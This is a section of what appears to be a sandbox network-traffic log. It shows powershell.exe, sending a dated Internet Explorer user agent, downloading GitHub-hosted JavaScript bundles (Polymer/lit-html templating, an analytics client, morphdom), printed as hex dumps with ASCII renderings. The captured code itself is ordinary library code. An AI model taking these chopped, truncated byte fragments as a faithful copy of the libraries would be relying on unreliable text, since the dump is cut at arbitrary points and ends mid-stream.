2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f 50 41 54 45 4e 54 53 2e 74 78 74 0a 20 2a 2f 6c 65 74 20 73 3d 76 6f 69 64 20 30 21 3d 3d 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6c 65 6d 65 6e 74 73 26 26 76 6f 69 64 20 30 21 3d 3d 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6c 65 6d 65 6e 74 73 2e 70 6f 6c 79 66 69 6c 6c 57 72 61 70 46 6c 75 73 68 43 61 6c 6c 62 61 63 6b 2c 6e 3d 28 74 2c 65 2c 69 3d 6e 75 6c 6c 2c 73 3d 6e 75 6c 6c 29 3d 3e 7b 66 6f 72 28 3b 65 21 3d 3d 69 3b 29 7b 6c 65 74 20 69 3d 65 2e 6e 65 78 74 53 69 62 6c 69 6e 67 3b 74 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 73 29 2c 65 3d 69 7d 7d 2c 6c 3d 28 74 2c 65 2c 69 3d 6e 75 6c 6c 29 3d 3e 7b 66 6f 72 28 3b 65 21 3d 3d 69 3b 29 7b 6c 65 74 20 69 3d 65 2e 6e 65 78 74 53 69 62 6c 69 6e 67 Data Ascii: er.github.io/PATENTS.txt */let s=void 0!==window.customElements&&void 0!==window.customElements.polyfillWrapFlushCallback,n=(t,e,i=null,s=null)=>{for(;e!==i;){let i=e.nextSibling;t.insertBefore(e,s),e=i}},l=(t,e,i=null)=>{for(;e!==i;){let i=e.nextSibling
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 74 68 75 62 2e 69 6f 2f 41 55 54 48 4f 52 53 2e 74 78 74 0a 20 2a 20 54 68 65 20 63 6f 6d 70 6c 65 74 65 20 73 65 74 20 6f 66 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 61 74 0a 20 2a 20 68 74 74 70 3a 2f 2f 70 6f 6c 79 6d 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f 43 4f 4e 54 52 49 42 55 54 4f 52 53 2e 74 78 74 0a 20 2a 20 43 6f 64 65 20 64 69 73 74 72 69 62 75 74 65 64 20 62 79 20 47 6f 6f 67 6c 65 20 61 73 20 70 61 72 74 20 6f 66 20 74 68 65 20 70 6f 6c 79 6d 65 72 20 70 72 6f 6a 65 63 74 20 69 73 20 61 6c 73 6f 0a 20 2a 20 73 75 62 6a 65 63 74 20 74 6f 20 61 6e 20 61 64 64 69 74 69 6f 6e 61 6c 20 49 50 20 72 69 67 68 74 73 20 67 72 61 6e 74 20 66 6f 75 6e 64 20 61 74 0a 20 2a 20 68 74 74 70 3a 2f 2f 70 6f 6c 79 6d 65 Data Ascii: thub.io/AUTHORS.txt * The complete set of contributors may be found at * http://polymer.github.io/CONTRIBUTORS.txt * Code distributed by Google as part of the polymer project is also * subject to an additional IP rights grant found at * http://polyme
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 6e 73 3d 74 7d 61 70 70 65 6e 64 49 6e 74 6f 28 74 29 7b 74 68 69 73 2e 73 74 61 72 74 4e 6f 64 65 3d 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 28 30 2c 61 2e 68 35 29 28 29 29 2c 74 68 69 73 2e 65 6e 64 4e 6f 64 65 3d 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 28 30 2c 61 2e 68 35 29 28 29 29 7d 69 6e 73 65 72 74 41 66 74 65 72 4e 6f 64 65 28 74 29 7b 74 68 69 73 2e 73 74 61 72 74 4e 6f 64 65 3d 74 2c 74 68 69 73 2e 65 6e 64 4e 6f 64 65 3d 74 2e 6e 65 78 74 53 69 62 6c 69 6e 67 7d 61 70 70 65 6e 64 49 6e 74 6f 50 61 72 74 28 74 29 7b 74 2e 5f 5f 69 6e 73 65 72 74 28 74 68 69 73 2e 73 74 61 72 74 4e 6f 64 65 3d 28 30 2c 61 2e 68 35 29 28 29 29 2c 74 2e 5f 5f 69 6e 73 65 72 74 28 74 68 69 73 2e 65 6e 64 4e 6f 64 65 3d 28 30 2c 61 2e 68 35 29 28 29 29 7d 69 Data Ascii: ns=t}appendInto(t){this.startNode=t.appendChild((0,a.h5)()),this.endNode=t.appendChild((0,a.h5)())}insertAfterNode(t){this.startNode=t,this.endNode=t.nextSibling}appendIntoPart(t){t.__insert(this.startNode=(0,a.h5)()),t.__insert(this.endNode=(0,a.h5)())}i
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 61 62 6c 65 28 74 29 7b 6c 65 74 20 65 3b 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 68 69 73 2e 76 61 6c 75 65 29 7c 7c 28 74 68 69 73 2e 76 61 6c 75 65 3d 5b 5d 2c 74 68 69 73 2e 63 6c 65 61 72 28 29 29 3b 6c 65 74 20 69 3d 74 68 69 73 2e 76 61 6c 75 65 2c 73 3d 30 3b 66 6f 72 28 6c 65 74 20 6e 20 6f 66 20 74 29 76 6f 69 64 20 30 3d 3d 3d 28 65 3d 69 5b 73 5d 29 26 26 28 65 3d 6e 65 77 20 4e 6f 64 65 50 61 72 74 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 29 2c 69 2e 70 75 73 68 28 65 29 2c 30 3d 3d 3d 73 3f 65 2e 61 70 70 65 6e 64 49 6e 74 6f 50 61 72 74 28 74 68 69 73 29 3a 65 2e 69 6e 73 65 72 74 41 66 74 65 72 50 61 72 74 28 69 5b 73 2d 31 5d 29 29 2c 65 2e 73 65 74 56 61 6c 75 65 28 6e 29 2c 65 2e 63 6f 6d 6d 69 74 28 29 2c 73 2b 2b 3b 73 3c 69 2e 6c Data Ascii: able(t){let e;Array.isArray(this.value)\|\|(this.value=[],this.clear());let i=this.value,s=0;for(let n of t)void 0===(e=i[s])&&(e=new NodePart(this.options),i.push(e),0===s?e.appendIntoPart(this):e.insertAfterPart(i[s-1])),e.setValue(n),e.commit(),s++;s<i.l
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 78 74 65 6e 64 73 20 41 74 74 72 69 62 75 74 65 50 61 72 74 7b 7d 3b 6c 65 74 20 64 3d 21 31 3b 74 72 79 7b 6c 65 74 20 74 3d 7b 67 65 74 20 63 61 70 74 75 72 65 28 29 7b 72 65 74 75 72 6e 20 64 3d 21 30 2c 21 31 7d 7d 3b 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 74 2c 74 29 2c 77 69 6e 64 6f 77 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 74 2c 74 29 7d 63 61 74 63 68 28 74 29 7b 7d 6c 65 74 20 45 76 65 6e 74 50 61 72 74 3d 63 6c 61 73 73 20 45 76 65 6e 74 50 61 72 74 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 74 2c 65 2c 69 29 7b 74 68 69 73 2e 76 61 6c 75 65 3d 76 6f 69 64 20 30 2c 74 68 69 73 2e 5f 5f 70 65 6e 64 69 6e 67 56 61 6c 75 65 3d 76 6f 69 64 20 30 2c 74 68 Data Ascii: xtends AttributePart{};let d=!1;try{let t={get capture(){return d=!0,!1}};window.addEventListener("test",t,t),window.removeEventListener("test",t,t)}catch(t){}let EventPart=class EventPart{constructor(t,e,i){this.value=void 0,this.__pendingValue=void 0,th
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 74 0a 20 2a 20 54 68 65 20 63 6f 6d 70 6c 65 74 65 20 73 65 74 20 6f 66 20 61 75 74 68 6f 72 73 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 61 74 0a 20 2a 20 68 74 74 70 3a 2f 2f 70 6f 6c 79 6d 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f 41 55 54 48 4f 52 53 2e 74 78 74 0a 20 2a 20 54 68 65 20 63 6f 6d 70 6c 65 74 65 20 73 65 74 20 6f 66 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 61 74 0a 20 2a 20 68 74 74 70 3a 2f 2f 70 6f 6c 79 6d 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f 43 4f 4e 54 52 49 42 55 54 4f 52 53 2e 74 78 74 0a 20 2a 20 43 6f 64 65 20 64 69 73 74 72 69 62 75 74 65 64 20 62 79 20 47 6f 6f 67 6c 65 20 61 73 20 70 61 72 74 20 6f 66 20 74 68 65 20 70 6f 6c 79 6d 65 72 20 70 72 6f 6a 65 63 74 20 69 73 20 61 6c 73 6f 0a Data Ascii: t * The complete set of authors may be found at * http://polymer.github.io/AUTHORS.txt * The complete set of contributors may be found at * http://polymer.github.io/CONTRIBUTORS.txt * Code distributed by Google as part of the polymer project is also
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 51 3a 28 29 3d 3e 54 65 6d 70 6c 61 74 65 52 65 73 75 6c 74 7d 29 2c 69 28 37 39 31 31 32 29 3b 76 61 72 20 73 3d 69 28 33 35 36 37 32 29 3b 2f 2a 2a 0a 20 2a 20 40 6c 69 63 65 6e 73 65 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 20 54 68 65 20 50 6f 6c 79 6d 65 72 20 50 72 6f 6a 65 63 74 20 41 75 74 68 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 54 68 69 73 20 63 6f 64 65 20 6d 61 79 20 6f 6e 6c 79 20 62 65 20 75 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 42 53 44 20 73 74 79 6c 65 20 6c 69 63 65 6e 73 65 20 66 6f 75 6e 64 20 61 74 0a 20 2a 20 68 74 74 70 3a 2f 2f 70 6f 6c 79 6d 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f 4c 49 43 45 4e 53 45 2e 74 78 74 0a 20 2a 20 54 68 65 20 63 6f 6d 70 6c 65 Data Ascii: Q:()=>TemplateResult}),i(79112);var s=i(35672);/** * @license * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. * This code may only be used under the BSD style license found at * http://polymer.github.io/LICENSE.txt * The comple
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 4c 49 43 45 4e 53 45 2e 74 78 74 0a 20 2a 20 54 68 65 20 63 6f 6d 70 6c 65 74 65 20 73 65 74 20 6f 66 20 61 75 74 68 6f 72 73 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 61 74 0a 20 2a 20 68 74 74 70 3a 2f 2f 70 6f 6c 79 6d 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f 41 55 54 48 4f 52 53 2e 74 78 74 0a 20 2a 20 54 68 65 20 63 6f 6d 70 6c 65 74 65 20 73 65 74 20 6f 66 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 61 74 0a 20 2a 20 68 74 74 70 3a 2f 2f 70 6f 6c 79 6d 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f 43 4f 4e 54 52 49 42 55 54 4f 52 53 2e 74 78 74 0a 20 2a 20 43 6f 64 65 20 64 69 73 74 72 69 62 75 74 65 64 20 62 79 20 47 6f 6f 67 6c 65 20 61 73 20 70 61 72 74 20 6f 66 20 74 68 65 20 70 6f 6c 79 6d 65 72 20 70 72 6f 6a 65 63 Data Ascii: LICENSE.txt * The complete set of authors may be found at * http://polymer.github.io/AUTHORS.txt * The complete set of contributors may be found at * http://polymer.github.io/CONTRIBUTORS.txt * Code distributed by Google as part of the polymer projec
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 72 74 42 65 66 6f 72 65 28 69 2c 74 29 2c 74 68 69 73 2e 70 61 72 74 73 2e 70 75 73 68 28 7b 74 79 70 65 3a 22 6e 6f 64 65 22 2c 69 6e 64 65 78 3a 2b 2b 70 7d 29 7d 22 22 3d 3d 3d 6e 5b 61 5d 3f 28 73 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 68 28 29 2c 74 29 2c 69 2e 70 75 73 68 28 74 29 29 3a 74 2e 64 61 74 61 3d 6e 5b 61 5d 2c 63 2b 3d 61 7d 7d 65 6c 73 65 20 69 66 28 38 3d 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 29 7b 69 66 28 74 2e 64 61 74 61 3d 3d 3d 73 29 7b 6c 65 74 20 65 3d 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 28 6e 75 6c 6c 3d 3d 3d 74 2e 70 72 65 76 69 6f 75 73 53 69 62 6c 69 6e 67 7c 7c 70 3d 3d 3d 64 29 26 26 28 70 2b 2b 2c 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 68 28 29 2c 74 29 29 2c 64 3d 70 2c 74 68 69 73 2e 70 61 72 74 73 2e 70 75 Data Ascii: rtBefore(i,t),this.parts.push({type:"node",index:++p})}""===n[a]?(s.insertBefore(h(),t),i.push(t)):t.data=n[a],c+=a}}else if(8===t.nodeType){if(t.data===s){let e=t.parentNode;(null===t.previousSibling\|\|p===d)&&(p++,e.insertBefore(h(),t)),d=p,this.parts.pu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	49748	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:24 UTC	450	OUT	GET /assets/vendors-node_modules_github_hydro-analytics-client_dist_analytics-client_js-node_modules_gith-f3aee1-e6893db9c19e.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:24 UTC	693	IN	HTTP/1.1 200 OK Connection: close Content-Length: 9596 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Wed, 25 Sep 2024 16:52:10 GMT ETag: "0x8DCDD8265CA851F" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 405130 Date: Mon, 30 Sep 2024 13:50:24 GMT X-Served-By: cache-iad-kiad7000079-IAD, cache-ewr-kewr1740066-EWR X-Cache: HIT, HIT X-Cache-Hits: 36, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: a6239eeac91a369a3717256c43ef92bd0fae38a9
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 68 79 64 72 6f 2d 61 6e 61 6c 79 74 69 63 73 2d 63 6c 69 65 6e 74 5f 64 69 73 74 5f 61 6e 61 6c 79 74 69 63 73 2d 63 6c 69 65 6e 74 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 2d 66 33 61 65 65 31 22 5d 2c 7b 31 38 36 37 39 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6e 2e 64 28 74 2c 7b 73 3a 28 29 3d 3e 41 6e 61 6c 79 74 69 63 73 43 6c 69 65 6e 74 7d 29 3b 6c 65 74 20 72 3d 5b 22 75 74 6d 5f 73 6f 75 72 63 65 22 2c 22 75 74 6d 5f 6d 65 64 69 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_hydro-analytics-client_dist_analytics-client_js-node_modules_gith-f3aee1"],{18679:(e,t,n)=>{n.d(t,{s:()=>AnalyticsClient});let r=["utm_source","utm_medi
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 75 74 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 65 3d 30 2c 74 3d 30 3b 74 72 79 7b 72 65 74 75 72 6e 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3f 28 74 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 2c 65 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 29 3a 6e 75 6c 6c 21 3d 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 6e 75 6c 6c 21 3d 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 57 69 64 74 68 3f 28 74 3d 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 57 69 64 74 68 2c 65 3d 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d Data Ascii: ution:function(){let e=0,t=0;try{return"number"==typeof window.innerWidth?(t=window.innerWidth,e=window.innerHeight):null!=document.documentElement&&null!=document.documentElement.clientWidth?(t=document.documentElement.clientWidth,e=document.documentElem
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 3b 72 3c 74 3b 72 2b 3d 31 29 7b 6c 65 74 20 74 3d 65 5b 72 5d 2c 6c 3d 65 5b 72 2b 31 5d 2c 6f 3d 65 5b 72 2d 31 5d 3b 22 7b 22 3d 3d 3d 74 26 26 22 7b 22 3d 3d 3d 6c 26 26 22 5c 5c 22 21 3d 3d 6f 3f 28 31 3d 3d 3d 28 73 2b 3d 31 29 26 26 28 69 3d 72 29 2c 72 2b 3d 31 29 3a 22 7d 22 3d 3d 3d 74 26 26 22 7d 22 3d 3d 3d 6c 26 26 22 5c 5c 22 21 3d 3d 6f 26 26 73 26 26 30 3d 3d 28 73 2d 3d 31 29 26 26 28 69 3e 6e 26 26 28 61 2e 70 75 73 68 28 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 7b 74 79 70 65 3a 22 73 74 72 69 6e 67 22 2c 73 74 61 72 74 3a 6e 2c 65 6e 64 3a 69 2c 76 61 6c 75 65 3a 65 2e 73 6c 69 63 65 28 6e 2c 69 29 7d 29 29 2c 6e 3d 69 29 2c 61 2e 70 75 73 68 28 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 7b 74 79 70 65 3a 22 70 61 72 74 22 2c 73 74 61 Data Ascii: ;r<t;r+=1){let t=e[r],l=e[r+1],o=e[r-1];"{"===t&&"{"===l&&"\\"!==o?(1===(s+=1)&&(i=r),r+=1):"}"===t&&"}"===l&&"\\"!==o&&s&&0==(s-=1)&&(i>n&&(a.push(Object.freeze({type:"string",start:n,end:i,value:e.slice(n,i)})),n=i),a.push(Object.freeze({type:"part",sta
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 65 6e 74 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 4e 53 28 74 68 69 73 2e 61 74 74 72 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 74 68 69 73 2e 61 74 74 72 2e 6e 61 6d 65 29 3b 65 6c 73 65 7b 6c 65 74 20 65 3d 74 68 69 73 2e 70 61 72 74 4c 69 73 74 2e 6d 61 70 28 65 3d 3e 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 3a 65 2e 76 61 6c 75 65 29 2e 6a 6f 69 6e 28 22 22 29 3b 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 4e 53 28 74 68 69 73 2e 61 74 74 72 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 74 68 69 73 2e 61 74 74 72 2e 6e 61 6d 65 2c 65 29 7d 7d 7d 3b 6c 65 74 20 6c 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 6c 65 74 20 4e 6f 64 65 54 65 6d 70 6c 61 74 65 50 61 72 74 3d 63 6c 61 73 73 20 4e 6f 64 65 54 65 Data Ascii: ent.removeAttributeNS(this.attr.namespaceURI,this.attr.name);else{let e=this.partList.map(e=>"string"==typeof e?e:e.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,e)}}};let l=new WeakMap;let NodeTemplatePart=class NodeTe
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 73 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 2e 63 6f 6e 74 65 6e 74 2e 63 6c 6f 6e 65 4e 6f 64 65 28 21 30 29 29 2c 64 2e 73 65 74 28 74 68 69 73 2c 41 72 72 61 79 2e 66 72 6f 6d 28 66 75 6e 63 74 69 6f 6e 2a 28 65 29 7b 6c 65 74 20 74 3b 6c 65 74 20 6e 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 54 72 65 65 57 61 6c 6b 65 72 28 65 2c 4e 6f 64 65 46 69 6c 74 65 72 2e 53 48 4f 57 5f 54 45 58 54 7c 4e 6f 64 65 46 69 6c 74 65 72 2e 53 48 4f 57 5f 45 4c 45 4d 45 4e 54 2c 6e 75 6c 6c 2c 21 31 29 3b 66 6f 72 28 3b 74 3d 6e 2e 6e 65 78 74 4e 6f 64 65 28 29 3b 29 69 66 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 6c 65 6d 65 6e 74 26 26 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 73 28 29 29 66 6f 72 28 6c 65 74 20 65 3d 30 3b 65 3c 74 2e Data Ascii: s.appendChild(e.content.cloneNode(!0)),d.set(this,Array.from(function*(e){let t;let n=e.ownerDocument.createTreeWalker(e,NodeFilter.SHOW_TEXT\|NodeFilter.SHOW_ELEMENT,null,!1);for(;t=n.nextNode();)if(t instanceof Element&&t.hasAttributes())for(let e=0;e<t.
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 7d 20 7d 7d 60 3a 22 22 29 2c 22 22 29 2c 73 3d 6e 75 6c 6c 21 3d 3d 28 74 3d 6e 75 6c 6c 3d 3d 3d 28 65 3d 54 65 6d 70 6c 61 74 65 52 65 73 75 6c 74 2e 63 73 70 54 72 75 73 74 65 64 54 79 70 65 73 50 6f 6c 69 63 79 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 63 72 65 61 74 65 48 54 4d 4c 28 69 29 29 26 26 76 6f 69 64 20 30 21 3d 3d 74 3f 74 3a 69 3b 72 65 74 75 72 6e 20 6e 2e 69 6e 6e 65 72 48 54 4d 4c 3d 73 2c 6d 2e 73 65 74 28 74 68 69 73 2e 73 74 72 69 6e 67 73 2c 6e 29 2c 6e 7d 7d 72 65 6e 64 65 72 49 6e 74 6f 28 65 29 7b 6c 65 74 20 74 3d 74 68 69 73 2e 74 65 6d 70 6c 61 74 65 3b 69 66 28 67 2e 67 65 74 28 65 29 21 3d 3d 74 29 7b 67 2e 73 65 74 28 65 2c 74 29 3b 6c 65 74 20 6e 3d 6e 65 77 20 54 65 6d 70 6c 61 74 65 49 6e 73 Data Ascii: } }}`:""),""),s=null!==(t=null===(e=TemplateResult.cspTrustedTypesPolicy)\|\|void 0===e?void 0:e.createHTML(i))&&void 0!==t?t:i;return n.innerHTML=s,m.set(this.strings,n),n}}renderInto(e){let t=this.template;if(g.get(e)!==t){g.set(e,t);let n=new TemplateIns
2024-09-30 13:50:24 UTC	1328	IN	Data Raw: 74 61 6e 63 65 6f 66 20 54 65 6d 70 6c 61 74 65 52 65 73 75 6c 74 26 26 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 4e 6f 64 65 54 65 6d 70 6c 61 74 65 50 61 72 74 26 26 28 74 2e 72 65 6e 64 65 72 49 6e 74 6f 28 65 29 2c 31 29 7c 7c 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 26 26 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 4e 6f 64 65 54 65 6d 70 6c 61 74 65 50 61 72 74 26 26 28 74 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 26 26 65 2e 72 65 70 6c 61 63 65 28 2e 2e 2e 74 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 31 29 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 21 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 20 69 6e 20 74 29 29 72 65 74 Data Ascii: tanceof TemplateResult&&e instanceof NodeTemplatePart&&(t.renderInto(e),1)\|\|t instanceof DocumentFragment&&e instanceof NodeTemplatePart&&(t.childNodes.length&&e.replace(...t.childNodes),1)\|\|function(e,t){if(!("object"==typeof t&&Symbol.iterator in t))ret

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49749	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:24 UTC	450	OUT	GET /assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_morphdom_dist_morphdom-e-7c534c-f8a5485c982a.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:24 UTC	696	IN	HTTP/1.1 200 OK Connection: close Content-Length: 5841 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Thu, 08 Aug 2024 18:12:13 GMT ETag: "0x8DCB7D5A0C3D76A" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1734716 Date: Mon, 30 Sep 2024 13:50:24 GMT X-Served-By: cache-iad-kjyo7100087-IAD, cache-nyc-kteb1890051-NYC X-Cache: HIT, HIT X-Cache-Hits: 1116, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 9ec2b3705814bb64deeb36b8c622bb4212bcc95d
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 69 6e 69 2d 74 68 72 6f 74 74 6c 65 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 6d 6f 72 70 68 64 6f 6d 5f 64 69 73 74 5f 6d 6f 72 70 68 64 6f 6d 2d 65 2d 37 63 35 33 34 63 22 5d 2c 7b 37 30 31 37 30 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 74 3d 30 2c 7b 73 74 61 72 74 3a 6e 3d 21 30 2c 6d 69 64 64 6c 65 3a 69 3d 21 30 2c 6f 6e 63 65 3a 72 3d 21 31 7d 3d 7b 7d 29 7b 6c 65 74 20 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_morphdom_dist_morphdom-e-7c534c"],{70170:(e,t,n)=>{function i(e,t=0,{start:n=!0,middle:i=!0,once:r=!1}={}){let
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 22 2c 22 73 65 6c 65 63 74 65 64 22 29 2c 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 73 65 6c 65 63 74 65 64 22 29 29 2c 6e 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 3d 2d 31 29 7d 75 28 65 2c 74 2c 22 73 65 6c 65 63 74 65 64 22 29 7d 2c 49 4e 50 55 54 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 75 28 65 2c 74 2c 22 63 68 65 63 6b 65 64 22 29 2c 75 28 65 2c 74 2c 22 64 69 73 61 62 6c 65 64 22 29 2c 65 2e 76 61 6c 75 65 21 3d 3d 74 2e 76 61 6c 75 65 26 26 28 65 2e 76 61 6c 75 65 3d 74 2e 76 61 6c 75 65 29 2c 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 76 61 6c 75 65 22 29 7c 7c 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 76 61 